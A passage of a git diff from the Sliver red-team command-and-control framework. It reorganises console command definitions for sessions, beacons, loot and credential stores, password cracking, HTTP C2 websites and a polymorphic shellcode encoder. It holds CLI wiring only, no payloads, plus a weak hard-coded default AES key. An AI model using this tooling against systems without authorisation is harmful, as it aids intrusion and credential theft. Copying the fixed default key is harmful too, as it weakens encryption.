- }) - monitorCmd.AddCommand(&cobra.Command{ - Use: "stop", - Short: "Stop the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStopCmd(cmd, con, args) - }, - }) - server.AddCommand(monitorCmd) - - // [ Loot ] -------------------------------------------------------------- - - lootCmd := &cobra.Command{ - Use: consts.LootStr, - Short: "Manage the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("loot", true, lootCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("loot", false, lootCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - lootAddCmd := &cobra.Command{ - Use: consts.LootLocalStr, - Short: "Add a local file to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddLocalCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootAddCmd) - Flags("loot", false, lootAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootAddCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootAddCmd).PositionalCompletion( - carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) - - lootRemoteCmd := &cobra.Command{ - Use: consts.LootRemoteStr, - Short: "Add a remote file from the current session to the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootAddRemoteCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - lootCmd.AddCommand(lootRemoteCmd) - Flags("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "name of this piece of loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text)") - }) - FlagComps(lootRemoteCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") - }) - carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) - - lootRenameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Re-name a piece of existing loot", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRenameCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRenameCmd) - - lootFetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootFetchCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootFetchCmd) - Flags("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save loot to a local file") - f.StringP("filter", "f", "", "filter based on loot type") - }) - FlagComps(lootFetchCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") - }) - - lootRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a piece of loot from the server's loot store", - Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - loot.LootRmCmd(cmd, con, args) - }, - } - lootCmd.AddCommand(lootRmCmd) - Flags("loot", false, lootRmCmd, func(f *pflag.FlagSet) { - f.StringP("filter", "f", "", "filter based on loot type") - }) - - server.AddCommand(lootCmd) - - // [ Credentials ] ------------------------------------------------------------ - credsCmd := &cobra.Command{ - Use: consts.CredsStr, - Short: "Manage the database of credentials", - Long: help.GetHelpFor([]string{consts.CredsStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - creds.CredsCmd(cmd, con, args) - }, - } - Flags("creds", true, credsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(credsCmd) - - credsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddCmd(cmd, con, args) - }, - } - Flags("", false, credsAddCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("username", "u", "", "username for the credential") - f.StringP("plaintext", "p", "", "plaintext for the credential") - f.StringP("hash", "P", "", "hash of the credential") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddCmd, func(comp *carapace.ActionMap) { - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - credsCmd.AddCommand(credsAddCmd) - - credsAddFileCmd := &cobra.Command{ - Use: consts.FileStr, - Short: "Add a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsAddHashFileCmd(cmd, con, args) - }, - } - Flags("", false, credsAddFileCmd, func(f *pflag.FlagSet) { - f.StringP("collection", "c", "", "name of collection") - f.StringP("file-format", "F", creds.HashNewlineFormat, "file format of the credential file") - f.StringP("hash-type", "H", "", "hash type of the credential") - }) - FlagComps(credsAddFileCmd, func(comp *carapace.ActionMap) { - (*comp)["collection"] = creds.CredsCollectionCompleter(con) - (*comp)["file-format"] = creds.CredsHashFileFormatCompleter(con) - (*comp)["hash-type"] = creds.CredsHashTypeCompleter(con) - }) - carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file")) - credsAddCmd.AddCommand(credsAddFileCmd) - - credsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a credential to the database", - Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - creds.CredsRmCmd(cmd, con, args) - }, - } - carapace.Gen(credsRmCmd).PositionalCompletion(creds.CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)")) - credsCmd.AddCommand(credsRmCmd) - - // [ Hosts ] --------------------------------------------------------------------- - - hostsCmd := &cobra.Command{ - Use: consts.HostsStr, - Short: "Manage the database of hosts", - Long: help.GetHelpFor([]string{consts.HostsStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(hostsCmd) - Flags("hosts", true, hostsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - hostsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a host from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsRmCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsRmCmd) - - hostsIOCCmd := &cobra.Command{ - Use: consts.IOCStr, - Short: "Manage tracked IOCs on a given host", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsIOCCmd) - - hostsIOCRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Delete IOCs from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCRmCmd(cmd, con, args) - }, - } - hostsIOCCmd.AddCommand(hostsIOCRmCmd) - - // [ Reactions ] ----------------------------------------------------------------- - - reactionCmd := &cobra.Command{ - Use: consts.ReactionStr, - Short: "Manage automatic reactions to events", - Long: help.GetHelpFor([]string{consts.ReactionStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(reactionCmd) - - reactionSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set a reaction to an event", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSetCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionSetCmd) - Flags("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { - f.StringP("event", "e", "", "specify the event type to react to") - }) - - FlagComps(reactionSetCmd, func(comp *carapace.ActionMap) { - (*comp)["event"] = carapace.ActionValues( - consts.SessionOpenedEvent, - consts.SessionClosedEvent, - consts.SessionUpdateEvent, - consts.BeaconRegisteredEvent, - consts.CanaryEvent, - consts.WatchtowerEvent, - ) - }) - - reactionUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Unset an existing reaction", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionUnsetCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionUnsetCmd) - Flags("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "the id of the reaction to remove") - }) - FlagComps(reactionUnsetCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = reaction.ReactionIDCompleter(con) - }) - - reactionSaveCmd := &cobra.Command{ - Use: consts.SaveStr, - Short: "Save current reactions to disk", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSaveCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionSaveCmd) - - reactionReloadCmd := &cobra.Command{ - Use: consts.ReloadStr, - Short: "Reload reactions from disk, replaces the running configuration", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionReloadCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionReloadCmd) - - // [ Prelude's Operator ] ------------------------------------------------------------ - operatorCmd := &cobra.Command{ - Use: consts.PreludeOperatorStr, - Short: "Manage connection to Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - operator.OperatorCmd(cmd, con, args) - }, - } - server.AddCommand(operatorCmd) - - operatorConnectCmd := &cobra.Command{ - Use: consts.ConnectStr, - Short: "Connect with Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), - Run: func(cmd *cobra.Command, args []string) { - operator.ConnectCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - operatorCmd.AddCommand(operatorConnectCmd) - Flags("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") - f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") - f.StringP("range", "r", "sliver", "Agents range") - }) - carapace.Gen(operatorConnectCmd).PositionalCompletion( - carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) - - // [ Builders ] --------------------------------------------- - - buildersCmd := &cobra.Command{ - Use: consts.BuildersStr, - Short: "List external builders", - Long: help.GetHelpFor([]string{consts.BuildersStr}), - Run: func(cmd *cobra.Command, args []string) { - builders.BuildersCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(buildersCmd) - Flags("builders", false, buildersCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Crack ] ------------------------------------------------------------ - crackCmd := &cobra.Command{ - Use: consts.CrackStr, - Short: "Crack: GPU password cracking", - Long: help.GetHelpFor([]string{consts.CrackStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - crack.CrackCmd(cmd, con, args) - }, - } - Flags("", true, crackCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(crackCmd) - - crackStationsCmd := &cobra.Command{ - Use: consts.StationsStr, - Short: "Manage crackstations", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackStationsCmd(cmd, con, args) - }, - } - crackCmd.AddCommand(crackStationsCmd) - - wordlistsCmd := &cobra.Command{ - Use: consts.WordlistsStr, - Short: "Manage wordlists", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsCmd(cmd, con, args) - }, - } - crackCmd.AddCommand(wordlistsCmd) - - wordlistsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsAddCmd(cmd, con, args) - }, - } - Flags("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "wordlist name (blank = filename)") - }) - carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) - wordlistsCmd.AddCommand(wordlistsAddCmd) - - wordlistsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsRmCmd(cmd, con, args) - }, - } - wordlistsCmd.AddCommand(wordlistsRmCmd) - carapace.Gen(wordlistsRmCmd).PositionalCompletion(crack.CrackWordlistCompleter(con).Usage("wordlist to remove")) - - rulesCmd := &cobra.Command{ - Use: consts.RulesStr, - Short: "Manage rule files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesCmd(cmd, con, args) - }, - } - crackCmd.AddCommand(rulesCmd) - - rulesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a rules file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesAddCmd(cmd, con, args) - }, - } - Flags("", false, rulesAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "rules name (blank = filename)") - }) - carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) - rulesCmd.AddCommand(rulesAddCmd) - - rulesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove rules", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesRmCmd(cmd, con, args) - }, - } - carapace.Gen(rulesRmCmd).PositionalCompletion(crack.CrackRulesCompleter(con).Usage("rules to remove")) - rulesCmd.AddCommand(rulesRmCmd) - - hcstat2Cmd := &cobra.Command{ - Use: consts.Hcstat2Str, - Short: "Manage markov hcstat2 files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2Cmd(cmd, con, args) - }, - } - crackCmd.AddCommand(hcstat2Cmd) - - hcstat2AddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2AddCmd(cmd, con, args) - }, - } - Flags("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "hcstat2 name (blank = filename)") - }) - carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) - hcstat2Cmd.AddCommand(hcstat2AddCmd) - - hcstat2RmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2RmCmd(cmd, con, args) - }, - } - carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove")) - hcstat2Cmd.AddCommand(hcstat2RmCmd) + // [ Bind commands ] -------------------------------------------------------- + + // Below are bounds all commands of the server menu, gathered by the group + // under which they should be printed in help messages and/or completions. + // You can either add a new bindCommands() call with a new group (which will + // be automatically added to the command tree), or add your commands in one of + // the present calls. + + // Core + bindCommands(consts.GenericHelpGroup, server, con, + exit.Command, + licenses.Commands, + settings.Commands, + alias.Commands, + armory.Commands, + update.Commands, + operators.Commands, + operator.Commands, + creds.Commands, + crack.Commands, + ) + + // C2 Network + bindCommands(consts.NetworkHelpGroup, server, con, + jobs.Commands, + websites.Commands, + wireguard.Commands, + ) + + // Payloads + bindCommands(consts.PayloadsHelpGroup, server, con, + sgn.Commands, + generate.Commands, + builders.Commands, + ) + + // Slivers + bindCommands(consts.SliverHelpGroup, server, con, + use.Commands, + info.Commands, + sessions.Commands, + beacons.Commands, + monitor.Commands, + loot.Commands, + hosts.Commands, + reaction.Commands, + ) // [ Post-command declaration setup]----------------------------------------- // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. server.InitDefaultHelpCmd() server.SetHelpCommandGroupID(consts.GenericHelpGroup) - // Bind a readline subcommand to the `settings` one, for allowing users to - // manipulate the shell instance keymaps, bindings, macros and global options. - settingsCmd.AddCommand(readline.Commands(con.App.Shell())) - return server } diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go new file mode 100644 index 0000000000..0928b782d0 --- /dev/null +++ b/client/command/sessions/commands.go @@ -0,0 +1,85 @@ +package sessions + +import ( + "context" + "fmt" + "strings" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +// Commands returns the `sessions` command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + sessionsCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Session management", + Long: help.GetHelpFor([]string{consts.SessionsStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { + f.StringP("interact", "i", "", "interact with a session") + f.StringP("kill", "k", "", "kill the designated session") + f.BoolP("kill-all", "K", false, "kill all the sessions") + f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") + f.BoolP("force", "F", false, "force session action without waiting for results") + + f.StringP("filter", "f", "", "filter sessions by substring") + f.StringP("filter-re", "e", "", "filter sessions by regular expression") + }) + flags.BindFlagCompletions(sessionsCmd, func(comp *carapace.ActionMap) { + (*comp)["interact"] = SessionIDCompleter(con) + (*comp)["kill"] = SessionIDCompleter(con) + }) + + sessionsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Kill all stale/dead sessions", + Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsPruneCmd(cmd, con, args) + }, + } + flags.Bind("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") + }) + sessionsCmd.AddCommand(sessionsPruneCmd) + + return []*cobra.Command{sessionsCmd} +} + +// SessionIDCompleter completes session IDs +func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { + callback := func(_ carapace.Context) carapace.Action { + results := make([]string, 0) + + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, s := range sessions.Sessions { + link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) + id := fmt.Sprintf("%s (%d)", s.Name, s.PID) + userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, s.ID[:8]) + results = append(results, desc) + } + } + return carapace.ActionValuesDescribed(results...).Tag("sessions") + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go new file mode 100644 index 0000000000..c82e20bd38 --- /dev/null +++ b/client/command/settings/commands.go @@ -0,0 +1,92 @@ +package settings + +import ( + "github.com/reeflective/console/commands/readline" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + settingsCmd := &cobra.Command{ + Use: consts.SettingsStr, + Short: "Manage client settings", + Long: help.GetHelpFor([]string{consts.SettingsStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.SaveStr, + Short: "Save the current settings to disk", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSaveCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.TablesStr, + Short: "Modify tables setting (style)", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsTablesCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "beacon-autoresults", + Short: "Automatically display beacon task results when completed", + Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsBeaconsAutoResultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "autoadult", + Short: "Automatically accept OPSEC warnings", + Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAutoAdultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "always-overflow", + Short: "Disable table pagination", + Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAlwaysOverflow(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "small-terminal", + Short: "Set the small terminal width", + Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSmallTerm(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "user-connect", + Short: "Enable user connections/disconnections (can be very verbose when they use CLI)", + Run: func(cmd *cobra.Command, args []string) { + SettingsUserConnect(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "console-logs", + Short: "Log console output (toggle)", + Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), + Run: func(ctx *cobra.Command, args []string) { + SettingsConsoleLogs(ctx, con) + }, + }) + + // Bind a readline subcommand to the `settings` one, for allowing users to + // manipulate the shell instance keymaps, bindings, macros and global options. + settingsCmd.AddCommand(readline.Commands(con.App.Shell())) + + return []*cobra.Command{settingsCmd} +} diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go new file mode 100644 index 0000000000..2d81134c19 --- /dev/null +++ b/client/command/shikata-ga-nai/commands.go @@ -0,0 +1,40 @@ +package sgn + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + shikataGaNaiCmd := &cobra.Command{ + Use: consts.ShikataGaNai, + Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", + Long: help.GetHelpFor([]string{consts.ShikataGaNai}), + Run: func(cmd *cobra.Command, args []string) { + ShikataGaNaiCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save output to local file") + f.StringP("arch", "a", "amd64", "architecture of shellcode") + f.IntP("iterations", "i", 1, "number of iterations") + f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(shikataGaNaiCmd, func(comp *carapace.ActionMap) { + (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") + }) + carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) + + return []*cobra.Command{shikataGaNaiCmd} +} diff --git a/client/command/use/commands.go b/client/command/use/commands.go new file mode 100644 index 0000000000..d5c37a44c0 --- /dev/null +++ b/client/command/use/commands.go @@ -0,0 +1,53 @@ +package use + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + useCmd := &cobra.Command{ + Use: consts.UseStr, + Short: "Switch the active session or beacon", + Long: help.GetHelpFor([]string{consts.UseStr}), + Run: func(cmd *cobra.Command, args []string) { + UseCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", true, useCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(useCmd).PositionalCompletion(BeaconAndSessionIDCompleter(con)) + + useSessionCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Switch the active session", + Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), + Run: func(cmd *cobra.Command, args []string) { + UseSessionCmd(cmd, con, args) + }, + } + carapace.Gen(useSessionCmd).PositionalCompletion(SessionIDCompleter(con)) + useCmd.AddCommand(useSessionCmd) + + useBeaconCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Switch the active beacon", + Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), + Run: func(cmd *cobra.Command, args []string) { + UseBeaconCmd(cmd, con, args) + }, + } + carapace.Gen(useBeaconCmd).PositionalCompletion(BeaconIDCompleter(con)) + useCmd.AddCommand(useBeaconCmd) + + return []*cobra.Command{useCmd} +} diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go new file mode 100644 index 0000000000..862244b3cd --- /dev/null +++ b/client/command/websites/commands.go @@ -0,0 +1,99 @@ +package websites + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + websitesCmd := &cobra.Command{ + Use: consts.WebsitesStr, + Short: "Host static content (used with HTTP C2)", + Long: help.GetHelpFor([]string{consts.WebsitesStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("websites", true, websitesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(websitesCmd).PositionalCompletion(WebsiteNameCompleter(con)) + + websitesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove an entire website and all of its contents", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsiteRmCmd(cmd, con, args) + }, + } + carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con)) + websitesCmd.AddCommand(websitesRmCmd) + + websitesRmWebContentCmd := &cobra.Command{ + Use: consts.RmWebContentStr, + Short: "Remove specific content from a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesRmContent(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively add/rm content") + f.StringP("website", "w", "", "website name") + f.StringP("web-path", "p", "", "http path to 